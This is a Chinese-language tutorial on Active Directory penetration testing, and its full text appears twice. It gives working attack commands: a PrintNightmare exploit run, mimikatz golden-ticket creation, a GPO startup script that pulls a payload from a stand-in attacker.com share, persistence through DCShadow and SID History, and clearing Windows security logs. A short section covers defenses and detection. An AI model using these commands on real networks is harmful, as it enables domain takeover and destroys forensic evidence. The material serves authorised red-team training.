1. 项目背景与核心价值域渗透测试是企业内网安全评估的关键环节。作为企业网络架构的核心Active DirectoryAD域环境一旦被攻陷攻击者往往能获取整个网络的控制权。去年某次企业红队评估中我们发现超过80%的内网横向移动都利用了域控相关漏洞。掌握域渗透技术不仅能帮助安全人员识别风险更能从防御视角理解攻击者思维。2. 环境搭建与信息收集2.1 实验环境拓扑典型的三层域结构域控制器DCWindows Server 2019192.168.1.10成员服务器Windows Server 2016192.168.1.20工作站Windows 10192.168.1.30注意所有测试需在授权环境下进行建议使用VMware搭建隔离环境2.2 基础信息收集技术使用PowerShell快速获取域信息# 获取域基本信息 Get-ADDomain # 枚举域用户 Get-ADUser -Filter * | Select-Object Name,SamAccountName # 查询域控信息 nltest /dclist:域名实战技巧使用BloodHound可视化域关系结合LDAP查询获取隐藏信息通过SPN扫描发现服务账户3. 初始访问与权限提升3.1 常见入口点突破钓鱼攻击制作免杀木马漏洞利用MS17-010永恒之蓝密码喷洒针对弱口令账户3.2 本地提权方法对比技术类型适用场景成功率隐蔽性内核漏洞提权未打补丁系统高低服务配置滥用错误配置的服务权限中中计划任务劫持有写入权限的目录高高实测案例 通过Print Spooler服务漏洞CVE-2021-1675成功将普通用户权限提升至SYSTEMpython3 CVE-2021-1675.py -u user -p password -d domain -t 192.168.1.104. 横向移动与域控攻陷4.1 票据传递攻击黄金票据制作流程获取krbtgt账户的NTLM哈希使用mimikatz生成票据kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-... /krbtgt:hash值 /ptt验证访问域控dir \\dc.test.com\c$4.2 组策略利用通过GPO推送后门的步骤获取域管理员权限创建新的组策略对象添加启动脚本GroupPolicy Startup Script Command\\attacker.com\payload.exe/Command /Script /Startup /GroupPolicy强制策略更新gpupdate /force5. 权限维持与痕迹清理5.1 隐蔽后门方案DCShadow攻击在域控注册虚假对象SID History注入添加域管理员SID万能密码修改krbtgt账户密码5.2 日志清除技术清除安全日志的三种方式使用wevtutilwevtutil cl Security通过mimikatzevent::clear /log:Security直接删除日志文件Remove-Item C:\Windows\System32\winevt\Logs\Security.evtx6. 防御检测与加固建议6.1 关键防御措施启用LSA保护注册表键值配置Windows Defender攻击面减少规则实施网络分段隔离域控流量6.2 检测规则示例Splunk检测黄金票据的查询语句indexwineventlog EventCode4769 TicketOptions0x40810000 | stats count by Account_Name,Client_Address | where count 37. 实战问题排查记录7.1 Kerberos预认证失败问题现象KDC_ERR_PREAUTH_FAILED解决方案检查时间同步域内机器时间差需5分钟验证账户锁定状态确认密码策略复杂度要求7.2 横向移动受阻可能原因防火墙阻断445/5985端口主机启用了Credential Guard存在网络访问控制列表ACL绕过方法使用WebDAV over HTTPS端口443配置SSH隧道中转利用WinRM的HTTP传输8. 工具链与资源推荐8.1 渗透测试工具包信息收集ADExplorer、PowerView漏洞利用Impacket、Mimikatz后渗透Cobalt Strike、Sliver8.2 学习资源微软官方AD安全指南《内网安全攻防渗透测试实战指南》Hack The Box中的Active Directory靶机在最近一次企业评估中我们发现通过合理配置Windows事件日志订阅可以实时监控所有域控的关键操作。建议将4688进程创建、4624登录成功、4672特权分配等事件纳入集中分析平台配合SIEM实现异常行为检测。
1. 项目背景与核心价值域渗透测试是企业内网安全评估的关键环节。作为企业网络架构的核心Active DirectoryAD域环境一旦被攻陷攻击者往往能获取整个网络的控制权。去年某次企业红队评估中我们发现超过80%的内网横向移动都利用了域控相关漏洞。掌握域渗透技术不仅能帮助安全人员识别风险更能从防御视角理解攻击者思维。2. 环境搭建与信息收集2.1 实验环境拓扑典型的三层域结构域控制器DCWindows Server 2019192.168.1.10成员服务器Windows Server 2016192.168.1.20工作站Windows 10192.168.1.30注意所有测试需在授权环境下进行建议使用VMware搭建隔离环境2.2 基础信息收集技术使用PowerShell快速获取域信息# 获取域基本信息 Get-ADDomain # 枚举域用户 Get-ADUser -Filter * | Select-Object Name,SamAccountName # 查询域控信息 nltest /dclist:域名实战技巧使用BloodHound可视化域关系结合LDAP查询获取隐藏信息通过SPN扫描发现服务账户3. 初始访问与权限提升3.1 常见入口点突破钓鱼攻击制作免杀木马漏洞利用MS17-010永恒之蓝密码喷洒针对弱口令账户3.2 本地提权方法对比技术类型适用场景成功率隐蔽性内核漏洞提权未打补丁系统高低服务配置滥用错误配置的服务权限中中计划任务劫持有写入权限的目录高高实测案例 通过Print Spooler服务漏洞CVE-2021-1675成功将普通用户权限提升至SYSTEMpython3 CVE-2021-1675.py -u user -p password -d domain -t 192.168.1.104. 横向移动与域控攻陷4.1 票据传递攻击黄金票据制作流程获取krbtgt账户的NTLM哈希使用mimikatz生成票据kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-... /krbtgt:hash值 /ptt验证访问域控dir \\dc.test.com\c$4.2 组策略利用通过GPO推送后门的步骤获取域管理员权限创建新的组策略对象添加启动脚本GroupPolicy Startup Script Command\\attacker.com\payload.exe/Command /Script /Startup /GroupPolicy强制策略更新gpupdate /force5. 权限维持与痕迹清理5.1 隐蔽后门方案DCShadow攻击在域控注册虚假对象SID History注入添加域管理员SID万能密码修改krbtgt账户密码5.2 日志清除技术清除安全日志的三种方式使用wevtutilwevtutil cl Security通过mimikatzevent::clear /log:Security直接删除日志文件Remove-Item C:\Windows\System32\winevt\Logs\Security.evtx6. 防御检测与加固建议6.1 关键防御措施启用LSA保护注册表键值配置Windows Defender攻击面减少规则实施网络分段隔离域控流量6.2 检测规则示例Splunk检测黄金票据的查询语句indexwineventlog EventCode4769 TicketOptions0x40810000 | stats count by Account_Name,Client_Address | where count 37. 实战问题排查记录7.1 Kerberos预认证失败问题现象KDC_ERR_PREAUTH_FAILED解决方案检查时间同步域内机器时间差需5分钟验证账户锁定状态确认密码策略复杂度要求7.2 横向移动受阻可能原因防火墙阻断445/5985端口主机启用了Credential Guard存在网络访问控制列表ACL绕过方法使用WebDAV over HTTPS端口443配置SSH隧道中转利用WinRM的HTTP传输8. 工具链与资源推荐8.1 渗透测试工具包信息收集ADExplorer、PowerView漏洞利用Impacket、Mimikatz后渗透Cobalt Strike、Sliver8.2 学习资源微软官方AD安全指南《内网安全攻防渗透测试实战指南》Hack The Box中的Active Directory靶机在最近一次企业评估中我们发现通过合理配置Windows事件日志订阅可以实时监控所有域控的关键操作。建议将4688进程创建、4624登录成功、4672特权分配等事件纳入集中分析平台配合SIEM实现异常行为检测。
